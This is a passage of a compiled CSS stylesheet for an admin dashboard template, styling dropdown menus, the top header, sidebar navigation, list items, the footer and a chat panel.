  width: unset !important; }
  @media only screen and (max-width: 1023px) {
    .list-thumbnail.responsive {
      width: unset;
      height: 135px; } }
  .list-thumbnail.small {
    height: 60px;
    font-size: 1rem; }

.list-thumbnail-letters {
  width: 85px;
  height: 85px;
  background: #090e40;
  align-items: center;
  display: flex;
  justify-content: center;
  font-size: 1.25rem;
  color: #fff; }
  .list-thumbnail-letters.small {
    width: 60px;
    height: 60px;
    font-size: 1rem; }

.list-item-heading {
  font-size: 1rem; }

.flex-grow-1 {
  -webkit-flex-grow: 1;
  -moz-flex-grow: 1;
  -ms-flex-grow: 1;
  flex-grow: 1; }

.dropdown-menu {
  padding: 5px;
  font-size: 12px;
  background-color: #ffffff !important;
  border-color: transparent !important;
  margin: 0;
  width: 170px;
  border-radius: 6px;
  -webkit-border-radius: 6px;
  -moz-border-radius: 6px;
  -webkit-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08);
  -moz-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08);
  box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08); }
  .dropdown-menu .dropdown-item {
    background-color: #ffffff !important;
    padding: 8px 15px;
    line-height: 14px;
    border-radius: 4px;
    -webkit-border-radius: 4px;
    -moz-border-radius: 4px; }
    .dropdown-menu .dropdown-item .dropdown-icon {
      display: inline-block;
      vertical-align: middle;
      font-size: 16px;
      margin-right: 5px;
      vertical-align: -2px;
      color: #9aa0ac !important; }
    .dropdown-menu .dropdown-item:hover, .dropdown-menu .dropdown-item:focus {
      background-color: #dee2e6 !important;
      color: #212121 !important; }
    .dropdown-menu .dropdown-item .badge {
      width: 15px;
      height: 15px;
      border-radius: 50%;
      text-align: center;
      padding: 0;
      line-height: 15px; }
  .dropdown-menu:after, .dropdown-menu::after {
    bottom: 100%;
    left: 10px;
    border: solid transparent;
    content: ' ';
    height: 0;
    width: 0;
    position: absolute;
    pointer-events: none;
    border-color: rgba(136, 183, 213, 0);
    border-bottom-color: #ffffff !important;
    border-width: 5px; }
  .dropdown-menu.dropdown-menu-right::after {
    right: 10px;
    left: auto; }

.wrapper .header-top {
  background-color: #ffffff !important;
  z-index: 1030;
  position: relative;
  padding: 15px 0;
  position: fixed;
  top: 0;
  width: 100%;
  left: 0;
  padding-left: 240px;
  -webkit-box-shadow: 0 1px 15px rgba(0, 0, 0, 0.04), 0 1px 6px rgba(0, 0, 0, 0.04);
  -moz-box-shadow: 0 1px 15px rgba(0, 0, 0, 0.04), 0 1px 6px rgba(0, 0, 0, 0.04);
  box-shadow: 0 1px 15px rgba(0, 0, 0, 0.04), 0 1px 6px rgba(0, 0, 0, 0.04); }
  .wrapper .header-top .top-menu .dropdown {
    margin-left: 10px; }
    .wrapper .header-top .top-menu .dropdown .dropdown-menu {
      margin-top: 10px; }
      .wrapper .header-top .top-menu .dropdown .dropdown-menu.menu-grid {
        width: 182px; }
        .wrapper .header-top .top-menu .dropdown .dropdown-menu.menu-grid .dropdown-item {
          display: inline-block;
          width: 40px;
          height: 40px;
          text-align: center;
          padding: 0;
          line-height: 40px;
          font-size: 18px;
          color: #5A5A5A; }
      .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown {
        min-width: 300px;
        padding: 0; }
        .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .header {
          margin: 0;
          padding: 15px;
          font-size: 16px;
          border-bottom: 1px solid #f1f1f1; }
        .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media {
          border-bottom: 1px solid #eef1f2;
          padding: 10px; }
          .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media:nth-child(odd) {
            background: #f8f9fa; }
          .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .d-flex {
            -webkit-box-align: start;
            -ms-flex-align: start;
            align-items: flex-start;
            margin-right: 15px; }
            .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .d-flex i {
              color: #fff;
              text-align: center;
              font-size: 15px;
              line-height: 30px;
              top: 0;
              height: 30px;
              width: 30px;
              background: #404E67;
              border-radius: 50%;
              -webkit-border-radius: 50%;
              -moz-border-radius: 50%; }
            .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .d-flex img {
              height: 30px; }
          .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .media-body {
            font-size: 12px; }
            .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .media-body .media-heading {
              color: #444;
              font-weight: 600;
              letter-spacing: 0; }
            .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .media-body .media-content {
              color: #868e96; }
        .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .footer {
          text-align: center;
          padding: 10px 15px; }
          .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .footer a {
            color: #212121;
            font-size: 16px; }
  .wrapper .header-top .top-menu .nav-link {
    width: 30px;
    height: 30px;
    padding: 0;
    text-align: center;
    line-height: 36px;
    color: #212121 !important;
    border: none;
    position: relative;
    border-radius: 50%;
    -webkit-border-radius: 50%;
    -moz-border-radius: 50%;
    -moz-transition: all 0.5s ease-in-out;
    -o-transition: all 0.5s ease-in-out;
    -webkit-transition: all 0.5s ease-in-out;
    transition: all 0.5s ease-in-out; }
    .wrapper .header-top .top-menu .nav-link:hover, .wrapper .header-top .top-menu .nav-link:focus {
      background-color: #dee2e6;
      color: #333; }
    .wrapper .header-top .top-menu .nav-link i {
      font-size: 16px; }
    .wrapper .header-top .top-menu .nav-link .badge {
      right: -1px;
      position: absolute;
      top: -4px;
      padding: 3px;
      width: 17px;
      font-size: 11px;
      font-weight: 800;
      color: #fff;
      border-radius: 100px;
      -webkit-border-radius: 100px;
      -moz-border-radius: 100px; }
  .wrapper .header-top .top-menu .avatar {
    color: #4c5667 !important;
    font-weight: 600;
    width: 30px;
    height: 30px;
    line-height: 30px;
    border-radius: 50%;
    -webkit-border-radius: 50%;
    -moz-border-radius: 50%;
    display: inline-block;
    background: #ced4da no-repeat center/cover;
    position: relative;
    vertical-align: bottom;
    font-size: .875rem;
    user-select: none; }
  .wrapper .header-top .top-menu .mobile-nav-toggle {
    border: none;
    position: relative;
    margin-right: 5px; }
    .wrapper .header-top .top-menu .mobile-nav-toggle span {
      height: 2px;
      width: 20px;
      background-color: #4a5361;
      display: inline-block;
      border-radius: 4px;
      position: absolute;
      top: 14px;
      left: 5px; }
      .wrapper .header-top .top-menu .mobile-nav-toggle span::before, .wrapper .header-top .top-menu .mobile-nav-toggle span::after {
        content: "";
        height: 2px;
        width: 20px;
        border-radius: 4px;
        background-color: #4a5361;
        display: inline-block;
        position: absolute; }
      .wrapper .header-top .top-menu .mobile-nav-toggle span::before {
        left: 0;
        top: -6px; }
      .wrapper .header-top .top-menu .mobile-nav-toggle span::after {
        left: 0;
        bottom: -6px; }
  .wrapper .header-top .top-menu .header-search {
    padding: 0 10px;
    position: relative; }
    .wrapper .header-top .top-menu .header-search .input-group {
      border-radius: 20px;
      -webkit-border-radius: 20px;
      -moz-border-radius: 20px;
      margin-bottom: 0; }
      .wrapper .header-top .top-menu .header-search .input-group .input-group-addon {
        color: #404E67;
        padding: 2px 10px 2px 0px;
        font-size: 16px;
        cursor: pointer; }
        .wrapper .header-top .top-menu .header-search .input-group .input-group-addon.search-close {
          padding: 2px 0px 2px 10px;
          display: none; }
      .wrapper .header-top .top-menu .header-search .input-group .form-control {
        padding: 0 10px;
        min-height: auto;
        width: 0;
        border: none;
        color: #353c4e;
        background-color: transparent;
        border-radius: 0px;
        -webkit-border-radius: 0px;
        -moz-border-radius: 0px; }
    .wrapper .header-top .top-menu .header-search.open .input-group {
      background-color: #e4e4e4; }
      .wrapper .header-top .top-menu .header-search.open .input-group .input-group-addon.search-close {
        display: block; }
  @media only screen and (max-width: 1023px) {
    .wrapper .header-top {
      padding-left: 0; } }
.wrapper .page-wrap {
  position: relative; }
  .wrapper .page-wrap .app-sidebar {
    position: fixed;
    left: 0;
    top: 0;
    width: 240px;
    height: 100vh;
    background-color: #ffffff !important;
    z-index: 1040;
    -webkit-box-shadow: 0 3px 30px rgba(0, 0, 0, 0.1), 0 3px 20px rgba(0, 0, 0, 0.1);
    -moz-box-shadow: 0 3px 30px rgba(0, 0, 0, 0.1), 0 3px 20px rgba(0, 0, 0, 0.1);
    box-shadow: 0 3px 30px rgba(0, 0, 0, 0.1), 0 3px 20px rgba(0, 0, 0, 0.1);
    -moz-transition: width 0.3s cubic-bezier(0, 0, 0.2, 1);
    -o-transition: width 0.3s cubic-bezier(0, 0, 0.2, 1);
    -webkit-transition: width 0.3s cubic-bezier(0, 0, 0.2, 1);
    transition: width 0.3s cubic-bezier(0, 0, 0.2, 1);
    -moz-transform: translate3d(0, 0, 0);
    -o-transform: translate3d(0, 0, 0);
    -ms-transform: translate3d(0, 0, 0);
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
    white-space: nowrap;
    visibility: visible; }
    .wrapper .page-wrap .app-sidebar .sidebar-header {
      display: -webkit-box;
      display: -moz-box;
      display: -ms-flexbox;
      display: -webkit-flex;
      display: flex;
      -webkit-align-items: center;
      -moz-align-items: center;
      -ms-align-items: center;
      align-items: center;
      -webkit-justify-content: space-between;
      -moz-justify-content: space-between;
      -ms-justify-content: space-between;
      justify-content: space-between;
      -ms-flex-pack: space-between;
      padding: 13px 15px;
      height: 60px; }
      .wrapper .page-wrap .app-sidebar .sidebar-header .header-brand {
        display: block;
        font-size: 22px;
        font-weight: 700;
        color: #212529; }
        .wrapper .page-wrap .app-sidebar .sidebar-header .header-brand .logo-img {
          display: inline-block;
          width: 30px; }
      .wrapper .page-wrap .app-sidebar .sidebar-header .btn-icon {
        border: none; }
      .wrapper .page-wrap .app-sidebar .sidebar-header .nav-close {
        display: none; }
        @media only screen and (max-width: 1023px) {
          .wrapper .page-wrap .app-sidebar .sidebar-header .nav-close {
            display: inline-block; } }
      @media only screen and (max-width: 1023px) {
        .wrapper .page-wrap .app-sidebar .sidebar-header .nav-toggle {
          display: none; } }
    .wrapper .page-wrap .app-sidebar .sidebar-content {
      position: relative;
      height: -webkit-calc(100vh - 60px);
      height: -moz-calc(100vh - 60px);
      height: calc(100vh - 60px);
      overflow: auto;
      z-index: 4; }
      .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item {
        position: relative; }
        .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a {
          display: block;
          overflow: hidden;
          padding: 15px 5px;
          margin-left: 15px;
          margin-right: 15px;
          color: #545454;
          position: relative; }
          .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a i {
            font-size: 20px;
            margin-right: 10px;
            display: inline-block;
            vertical-align: -4px; }
          .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a span {
            font-size: 13px; }
          .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a .badge {
            position: absolute;
            right: 30px;
            text-align: center;
            top: 16px;
            vertical-align: middle;
            white-space: nowrap;
            opacity: 1;
            visibility: visible;
            border-radius: 4px;
            font-size: 75%;
            padding: 4px 7px;
            margin-right: 5px;
            font-weight: 800;
            color: #fff;
            -webkit-transition: opacity 0.3s linear;
            transition: opacity 0.3s linear;
            text-transform: uppercase; }
          .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a.disabled {
            opacity: 0.5;
            cursor: not-allowed !important; }
        .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub a::before {
          content: "\f105";
          font-family: "FontAwesome";
          position: absolute;
          right: 3px;
          top: 15px;
          -moz-transform: rotate(0deg);
          -o-transform: rotate(0deg);
          -ms-transform: rotate(0deg);
          -webkit-transform: rotate(0deg);
          transform: rotate(0deg);
          -moz-transition: all 0.2s ease-in-out;
          -o-transition: all 0.2s ease-in-out;
          -webkit-transition: all 0.2s ease-in-out;
          transition: all 0.2s ease-in-out; }
        .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content {
          background-color: #f3f3f3; }
          .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .menu-item {
            padding: 10px 5px;
            font-size: 13px;
            padding-left: 50px;
            margin: 0; }
            .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .menu-item::before {
              display: none; }
          .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item::after {
            display: none; }
          .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item a {
            position: relative; }
            .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item a::before {
              content: "\f105";
              font-family: "FontAwesome";
              position: absolute;
              right: 20px;
              top: 10px;
              display: inline-block;
              -moz-transform: rotate(0deg);
              -o-transform: rotate(0deg);
              -ms-transform: rotate(0deg);
              -webkit-transform: rotate(0deg);
              transform: rotate(0deg);
              -moz-transition: all 0.2s ease-in-out;
              -o-transition: all 0.2s ease-in-out;
              -webkit-transition: all 0.2s ease-in-out;
              transition: all 0.2s ease-in-out; }
          .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item .submenu-content .menu-item {
            padding-left: 70px; }
            .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item .submenu-content .menu-item::before {
              display: none; }
          .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item.open a::before {
            -moz-transform: rotate(90deg);
            -o-transform: rotate(90deg);
            -ms-transform: rotate(90deg);
            -webkit-transform: rotate(90deg);
            transform: rotate(90deg); }
        .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item:not(.open) .submenu-content {
          display: none; }
        .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.open a::before {
          -moz-transform: rotate(90deg);
          -o-transform: rotate(90deg);
          -ms-transform: rotate(90deg);
          -webkit-transform: rotate(90deg);
          transform: rotate(90deg); }
        .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.open::after {
          background: #576a3d;
          border-radius: 10px;
          color: #fff;
          content: " ";
          height: 30px;
          left: 0;
          position: absolute;
          top: 10px;
          width: 3px; }
        .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.active::after {
          background: #576a3d;
          border-radius: 10px;
          color: #fff;
          content: " ";
          height: 30px;
          left: 0;
          top: 10px;
          position: absolute;
          width: 3px; }
      .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-lavel {
        font-size: 14px;
        font-weight: 400;
        opacity: 1;
        padding: 25px 20px 8px;
        text-transform: capitalize;
        visibility: visible;
        width: 100%;
        color: #999; }
    .wrapper .page-wrap .app-sidebar.colored .sidebar-header {
      background-color: #272d36; }
      .wrapper .page-wrap .app-sidebar.colored .sidebar-header .header-brand {
        color: #ffffff !important; }
    .wrapper .page-wrap .app-sidebar.colored .sidebar-content {
      background-color: #404E67; }
      .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item {
        border-color: rgba(243, 243, 243, 0.15); }
        .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item a {
          color: #ffffff !important; }
          .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item a i {
            color: #bcc8d8; }
        .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item .submenu-content {
          background-color: #4a5872; }
        .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item.open::after, .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item.active::after {
          background-color: #eb525d; }
    .wrapper .page-wrap .app-sidebar.hide-sidebar {
      -moz-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);
      -o-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);
      -webkit-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);
      transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);
      -moz-transform: translate3d(-100%, 0, 0);
      -o-transform: translate3d(-100%, 0, 0);
      -ms-transform: translate3d(-100%, 0, 0);
      -webkit-transform: translate3d(-100%, 0, 0);
      transform: translate3d(-100%, 0, 0); }
    @media only screen and (max-width: 1023px) {
      .wrapper .page-wrap .app-sidebar {
        -moz-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);
        -o-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);
        -webkit-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);
        transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1); } }
  .wrapper .page-wrap .main-content {
    padding: 30px 0;
    background-color: #F6F7FB;
    min-height: calc(100vh - 120px);
    margin-top: 60px;
    padding-right: 15px;
    padding-left: 255px;
    -moz-transition: all 0.3s ease;
    -o-transition: all 0.3s ease;
    -webkit-transition: all 0.3s ease;
    transition: all 0.3s ease; }
    @media only screen and (max-width: 1023px) {
      .wrapper .page-wrap .main-content {
        padding-left: 0;
        padding-right: 0; } }
    .wrapper .page-wrap .main-content .page-header {
      margin-bottom: 30px; }
      .wrapper .page-wrap .main-content .page-header .page-title {
        font-size: 22px;
        font-weight: 600;
        margin: 0;
        display: inline-block; }
      .wrapper .page-wrap .main-content .page-header .breadcrumb {
        background-color: transparent;
        margin-bottom: 0;
        padding-bottom: 0; }
        .wrapper .page-wrap .main-content .page-header .breadcrumb .breadcrumb-item a {
          color: #212121; }
        .wrapper .page-wrap .main-content .page-header .breadcrumb .breadcrumb-item + ::before {
          content: "|"; }
    .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item {
      padding: 13px 20px;
      border: 1px solid #ededed;
      position: relative;
      border-left: 0;
      border-right: 0;
      height: 50px;
      overflow: hidden;
      -moz-transition: transform 0.2s ease-in-out;
      -o-transition: transform 0.2s ease-in-out;
      -webkit-transition: transform 0.2s ease-in-out;
      transition: transform 0.2s ease-in-out; }
      .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner {
        display: -webkit-box;
        display: -moz-box;
        display: -ms-flexbox;
        display: -webkit-flex;
        display: flex;
        -webkit-justify-content: flex-start;
        -moz-justify-content: flex-start;
        -ms-justify-content: flex-start;
        justify-content: flex-start;
        -ms-flex-pack: flex-start;
        position: relative; }
        .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .custom-control {
          margin: 0;
          margin-top: -2px; }
        .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-title {
          width: 100%;
          display: block; }
          .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-title a {
            color: #3e5569;
            font-weight: 600;
            display: block;
            width: 100%;
            white-space: nowrap;
            text-overflow: ellipsis;
            overflow: hidden;
            width: calc(100% - 50px); }
        .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions {
          position: absolute;
          right: 0px;
          top: 50%;
          opacity: 0;
          display: none;
          z-index: 3;
          padding-left: 10px;
          -moz-transform: translateY(-50%);
          -o-transform: translateY(-50%);
          -ms-transform: translateY(-50%);
          -webkit-transform: translateY(-50%);
          transform: translateY(-50%); }
          .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions a {
            width: 30px;
            height: 30px;
            padding: 0;
            border-radius: 50%;
            text-align: center;
            line-height: 32px;
            color: #999;
            display: inline-block; }
            .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions a:hover, .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions a:focus {
              background-color: #dee2e6;
              color: #333; }
      .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .qickview-wrap {
        margin-top: 5px;
        opacity: 0; }
        .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .qickview-wrap .desc p {
          margin: 0; }
      .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:hover, .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:focus {
        background-color: #f9f9f9; }
        .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:hover .list-actions, .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:focus .list-actions {
          opacity: 1;
          display: block; }
      .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item.quick-view-opened {
        height: auto;
        background-color: #ffffff !important;
        border: none;
        z-index: 5;
        -webkit-box-shadow: 0 0 0 0 rgba(0, 0, 0, 0.01), 0 0 32px 0 rgba(0, 0, 0, 0.1);
        -moz-box-shadow: 0 0 0 0 rgba(0, 0, 0, 0.01), 0 0 32px 0 rgba(0, 0, 0, 0.1);
        box-shadow: 0 0 0 0 rgba(0, 0, 0, 0.01), 0 0 32px 0 rgba(0, 0, 0, 0.1);
        -moz-transform: scale(1.01);
        -o-transform: scale(1.01);
        -ms-transform: scale(1.01);
        -webkit-transform: scale(1.01);
        transform: scale(1.01); }
        .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item.quick-view-opened .item-inner .list-title a {
          font-size: 16px;
          color: #263238; }
        .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item.quick-view-opened .qickview-wrap {
          opacity: 1; }
      .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item + .list-item {
        margin-top: -1px; }
      .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:last-child {
        border-bottom: none; }
  .wrapper .page-wrap .footer {
    background: #ffffff !important;
    padding: 20px 30px;
    border-top: 1px solid rgba(0, 0, 0, 0.04);
    font-size: calc(0.875rem - 0.05rem);
    -moz-transition: all 0.25s ease;
    -o-transition: all 0.25s ease;
    -webkit-transition: all 0.25s ease;
    transition: all 0.25s ease; }
    @media only screen and (min-width: 1024px) {
      .wrapper .page-wrap .footer {
        padding-left: 270px; } }
  .wrapper .page-wrap .right-sidebar {
    position: fixed;
    top: 60px;
    right: 0;
    width: 240px;
    background: #fff;
    height: calc(100vh - 60px);
    border-left: 1px solid #eef1f2;
    border-top: 1px solid #eef1f2;
    padding: 1.07143em;
    z-index: 9;
    -moz-transform: translateX(100%);
    -o-transform: translateX(100%);
    -ms-transform: translateX(100%);
    -webkit-transform: translateX(100%);
    transform: translateX(100%);
    -moz-transition: all 0.25s ease;
    -o-transition: all 0.25s ease;
    -webkit-transition: all 0.25s ease;
    transition: all 0.25s ease; }
    .wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info h6 {
      color: #353c4e; }
    .wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info .form-group {
      position: relative; }
      .wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info .form-group .form-control {
        padding-right: 30px;
        border-radius: 50px;
        -webkit-border-radius: 50px;
        -moz-border-radius: 50px;
        padding-left: 15px; }
      .wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info .form-group i {
        position: absolute;
        top: 8px;
        right: 10px;
        font-size: 16px;
        color: #bbb; }
    .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group {
      margin-left: -1.07143em;
      margin-right: -1.07143em; }
      .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item {
        background: none;
        border: 0;
        border-top: 1px solid #eef1f2;
        padding: 1em 1.07143em;
        overflow: hidden;
        color: #999;
        display: -webkit-box;
        display: -moz-box;
        display: -ms-flexbox;
        display: -webkit-flex;
        display: flex;
        -webkit-align-items: center;
        -moz-align-items: center;
        -ms-align-items: center;
        align-items: center; }
        .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item figure {
          margin: 0;
          position: relative;
          margin-right: 10px; }
          .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item figure img {
            width: 40px;
            height: 40px; }
        .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item span {
          line-height: 1em;
          display: -webkit-box;
          display: -moz-box;
          display: -ms-flexbox;
          display: -webkit-flex;
          display: flex;
          -webkit-justify-content: end;
          -moz-justify-content: end;
          -ms-justify-content: end;
          justify-content: end;
          -ms-flex-pack: end;
          -webkit-flex-direction: column;
          -moz-flex-direction: column;
          -ms-flex-direction: column;
          flex-direction: column; }
          .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item span .name {
            font-size: 14px;
            color: #444;
            margin-bottom: 5px; }
      .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group [class*="user-"]:after {
        position: absolute;
        top: calc(50% + 15px);
        left: 0;
        -moz-transform: translateY(-50%);
        -o-transform: translateY(-50%);
        -ms-transform: translateY(-50%);
        -webkit-transform: translateY(-50%);
        transform: translateY(-50%); }
  .wrapper .page-wrap .chat-panel {
    position: fixed;
    top: calc(100vh);
    right: calc( 240px + 15px);
    width: 310px;
    z-index: 9999;
    -moz-transform: translateY(-100%) translateX(14.0625rem);
    -o-transform: translateY(-100%) translateX(14.0625rem);
    -ms-transform: translateY(-100%) translateX(14.0625rem);
    -webkit-transform: translateY(-100%) translateX(14.0625rem);
    transform: translateY(-100%) translateX(14.0625rem); }
    .wrapper .page-wrap .chat-panel .card {
      border: none;
      margin-bottom: 1.42857em;
      border-radius: 10px;
      -webkit-border-radius: 10px;
      -moz-border-radius: 10px;
      -webkit-box-shadow: 0 4px 8px 3px rgba(0, 0, 0, 0.2);
      -moz-box-shadow: 0 4px 8px 3px rgba(0, 0, 0, 0.2);
      box-shadow: 0 4px 8px 3px rgba(0, 0, 0, 0.2); }
      .wrapper .page-wrap .chat-panel .card .card-header {
        background: none;
        padding: 1.07143em 1.42857em;
        font-size: 1.14286em;
        border-bottom: 1px solid rgba(153, 153, 153, 0.2); }
      .wrapper .page-wrap .chat-panel .card .card-body {
        padding: 1.07143em; }
        .wrapper .page-wrap .chat-panel .card .card-body .messages {
          position: relative;
          max-height: 21.42857em;
          overflow-y: scroll;
          margin-top: -1.07143em;
          margin-right: -1.07143em;
          margin-left: -1.07143em;
          padding-top: 1.07143em;
          padding-right: 1.07143em;
          padding-left: 1.07143em; }
          .wrapper .page-wrap .chat-panel .card .card-body .messages .message {
            margin: 0.71429em 0; }
            .wrapper .page-wrap .chat-panel .card .card-body .messages .message:first-child {
              margin-top: 0; }
            .wrapper .page-wrap .chat-panel .card .card-body .messages .message figure {
              -webkit-box-ordinal-group: 3;
              -ms-flex-order: 2;
              margin: 0;
              position: relative;
              order: 2; }
              .wrapper .page-wrap .chat-panel .card .card-body .messages .message figure img {
                width: 30px;
                height: 30px; }
            .wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body {
              margin-top: .5em;
              display: -webkit-inline-box;
              display: -ms-inline-flexbox;
              display: inline-flex;
              -webkit-box-orient: vertical;
              -webkit-box-direction: normal;
              -ms-flex-direction: column;
              flex-direction: column;
              -webkit-box-align: end;
              -ms-flex-align: end;
              align-items: flex-end;
              margin: auto 1.5em;
              -webkit-box-ordinal-group: 2;
              -ms-flex-order: 1;
              order: 1; }
              .wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p {
                background: #404E67;
                border: 1px solid #404E67;
                border-radius: 3px;
                padding: .5em 1em;
                color: #fff;
                margin-bottom: .5em;
                position: relative; }
                .wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p:first-child:after, .wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p:first-child:before {
                  content: "";
                  height: 0;
                  width: 0;
                  display: block;
                  position: absolute;
                  top: 1.25rem;
                  right: -7px;
                  left: auto;
                  border-style: solid;
                  border-width: 6px 0 7px 6px;
                  border-color: transparent transparent transparent #404E67;
                  -moz-transform: translateY(-50%);
                  -o-transform: translateY(-50%);
                  -ms-transform: translateY(-50%);
                  -webkit-transform: translateY(-50%);
                  transform: translateY(-50%); }
                .wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p:first-child:before {
                  right: -7px;
                  border-left-color: #404E67; }
            .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply figure {
              -webkit-box-ordinal-group: 2;
              -ms-flex-order: 1;
              order: 1; }
            .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body {
              -webkit-box-align: start;
              -ms-flex-align: start;
              align-items: flex-start;
              -webkit-box-ordinal-group: 3;
              -ms-flex-order: 2;
              order: 2; }
              .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p {
                background: #fff;
                border: 1px solid #eef1f2;
                border-radius: 0;
                border-top-right-radius: 3px;
                border-bottom-right-radius: 3px;
                border-radius: 3px;
                color: #666; }
                .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:after, .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:before {
                  content: "";
                  height: 0;
                  width: 0;
                  display: block;
                  position: absolute;
                  right: auto;
                  left: -7px;
                  border-style: solid;
                  border-width: 6px 7px 6px 0;
                  border-color: transparent #fff transparent transparent;
                  -moz-transform: translateY(-50%);
                  -o-transform: translateY(-50%);
                  -ms-transform: translateY(-50%);
